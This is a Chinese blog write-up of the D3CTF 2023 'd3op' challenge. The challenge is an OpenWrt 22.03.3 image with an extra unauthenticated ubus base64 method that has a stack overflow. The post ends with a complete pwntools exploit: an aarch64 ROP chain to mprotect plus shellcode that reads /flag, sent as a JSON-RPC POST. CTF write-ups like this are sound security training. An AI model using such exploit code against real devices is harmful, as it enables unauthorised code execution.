2023年D3CTF-pwn

本文最后更新于:2023年10月13日 下午

d3op

预操作

解压附件之后得到三个文件: start.sh,squashfs-root.img,Image
执行start.sh之后,启动了一个虚拟机,查看/etc/os-release之后发现虚拟机是openwrt 22.03.3版本的固件,架构为armvirt/64,到官网上下载对应版本的文件镜像https://archive.openwrt.org/releases/22.03.3/targets/armvirt/64/openwrt-22.03.3-armvirt-64-rootfs-squashfs.img.gz
使用 unsquashfs 解压题目里的文件镜像和下载的文件镜像,然后使用color_diff -r squ1 squ2,查看两个文件镜像中的不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
diff: sq1/etc/localtime: 没有那个文件或目录
diff: sq2/etc/localtime: 没有那个文件或目录
diff: sq1/etc/ppp/resolv.conf: 没有那个文件或目录
diff: sq2/etc/ppp/resolv.conf: 没有那个文件或目录
diff: sq1/etc/resolv.conf: 没有那个文件或目录
diff: sq2/etc/resolv.conf: 没有那个文件或目录
只在 sq2/dev 存在:console
只在 sq1/etc/config 存在:network
diff -r sq1/etc/shadow sq2/etc/shadow
1c1
< root:$6$JlPmKq/ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r/OshYDOFKw76APIqPHBXCdXb/:19442::::::
---
> root:::0:99999:7:::
diff: sq1/etc/TZ: 没有那个文件或目录
diff: sq2/etc/TZ: 没有那个文件或目录
只在 sq1 存在:flag
diff: sq1/sbin/insmod: 没有那个文件或目录
diff: sq2/sbin/insmod: 没有那个文件或目录
diff: sq1/sbin/lsmod: 没有那个文件或目录
diff: sq2/sbin/lsmod: 没有那个文件或目录
diff: sq1/sbin/modinfo: 没有那个文件或目录
diff: sq2/sbin/modinfo: 没有那个文件或目录
diff: sq1/sbin/modprobe: 没有那个文件或目录
diff: sq2/sbin/modprobe: 没有那个文件或目录
diff: sq1/sbin/rmmod: 没有那个文件或目录
diff: sq2/sbin/rmmod: 没有那个文件或目录
diff: sq1/usr/bin/scp: 没有那个文件或目录
diff: sq2/usr/bin/scp: 没有那个文件或目录
diff: sq1/usr/bin/ssh: 没有那个文件或目录
diff: sq2/usr/bin/ssh: 没有那个文件或目录
diff: sq1/usr/bin/wget: 没有那个文件或目录
diff: sq2/usr/bin/wget: 没有那个文件或目录
只在 sq1/usr/libexec/rpcd 存在:base64
diff -r sq1/usr/share/rpcd/acl.d/unauthenticated.json sq2/usr/share/rpcd/acl.d/unauthenticated.json
2,16c2,12
< "unauthenticated": {
< "description": "Access controls for unauthenticated requests",
< "read": {
< "ubus": {
< "session": [
< "access",
< "login"
< ],
< "base64": [
< "decode",
< "encode"
< ]
< }
< }
< }
---
> "unauthenticated": {
> "description": "Access controls for unauthenticated requests",
> "read": {
> "ubus": {
> "session": [
> "access",
> "login"
> ]
> }
> }
> }

发现在题目中允许未认证访问的ubus接口中多了一个base64方法,同时在/usr/libexec/rpcd中多了一个base64文件,所以猜测无需认证即可访问的ubusbase64方法就是/usr/lib/exec/rpcd/base64

分析base64文件

关键函数

加解密函数

经过分析我们发现在base64方法中存在溢出漏洞

访问

关于unauthenticated,在这个文章里面我知道了在unauthenticatedubus接口可以直接使用http://ip:port/ubus访问,同时知道了访问时应该传入{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","方法","方法的行为",{"参数":"参数值"}]}'

/usr/lib/lua/luci/controller/admin/index.lua中存在action_ubus函数,在/usr/share/luci/menu.d/luci-base.json中将action_ubus函数注册为了admin/ubus,可以访问http://ip:port/cgi-bin/luci/admin/ubus来执行action_ubus函数
通过分析action_ubus函数发现传入的参数中需要存在jsonrpc且值必须为"2.0",并且参数中id不能为空,然后method是设置行为,可以是list/call,然后params是一个列表,其中第一个必须是00000000000000000000000000000000,然后就是方法,再是方法的行为,再是方法的行为的参数,整合起来就是一个json格式的字符串{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","方法","方法的行为",{"参数":"参数值"}]}',这与搜索到的使用方法是一致的

既然已知base64方法中存在漏洞,而且触发的方式也知道了就可以直接攻击了,因为是目标是网站,所以不能使用system("/bin/sh")的方式获取shell,但可以尝试反弹shell或者直接使用orw获取flag

getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
"""
需要注意的点有,输出必须是json格式,并且是一个完整的json格式,不能有多的数据导致json解析失败,否则会返回 {"jsonrpc":"2.0","id":1,"result":[2]}
然后就是需要保证程序退出是正常退出,否则会返回 {"jsonrpc":"2.0","id":1,"result":[5]}
"""
from pwn import *
import requests
import json
import base64
e=ELF("./base64")
bss=0x4a2098
bss_seg=0x4a2000
context.binary=e


"""
因为aarch64架构的汇编指令中ret指令不会像x86/x86_64架构那样会从栈中获取数据,然后再返回
在aarch64架构中ret指令就只是将x30寄存器的值放到pc寄存器中
所以找的gadget必须要存在利用栈修改x30寄存器的指令
"""
x0=0x0000000000403c84 # ldr x0, [sp, #0x38]; ldp x29, x30, [sp], #0x40; ret;
mprotect=0x4579a4


nop=asm("nop")
shellcode=shellcraft.setuid(0)+shellcraft.open("/flag")+\
"nop\nnop\nnop\n"+\
shellcraft.read(3,bss+14,100)+\
shellcraft.write(1,bss,0x42)+\
shellcraft.exit(0)

payload=b'{"output": "'.ljust(0x40,b'a')+b'"}'
data=len(payload)
payload+=nop*0x40+asm(shellcode)
payload=payload.ljust(0x418,b'a')+p32(0x64b)+p32(0x41d)+p32(0x584)+p32(0x4b8)
payload+=p64(0)+p64(x0)+p64(0)*4 #458
payload+=p64(0)+p64(mprotect)+p64(0)+p64(bss_seg+0x1000)+p64(bss_seg)+p64(0)*2+p64(bss-0x28)
payload+=p64(bss)+p64(bss+data)

payload=base64.b64encode(payload)

para={"input":payload.decode('utf-8')}
data={"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","base64","decode",para]}

url='http://127.0.0.1:4444/ubus'
# 访问 http://ip:port/cgi-bin/luci/admin/ubus 也是一样的
r=requests.post(url,headers={"Content-Type":"application/json"},data=json.dumps(data))
print(r.text)

2023年D3CTF-pwn
https://rot-will.github.io/page/wp/2023年D3ctf-pwn/
作者
rot_will
发布于
2023年5月7日
更新于
2023年10月13日
许可协议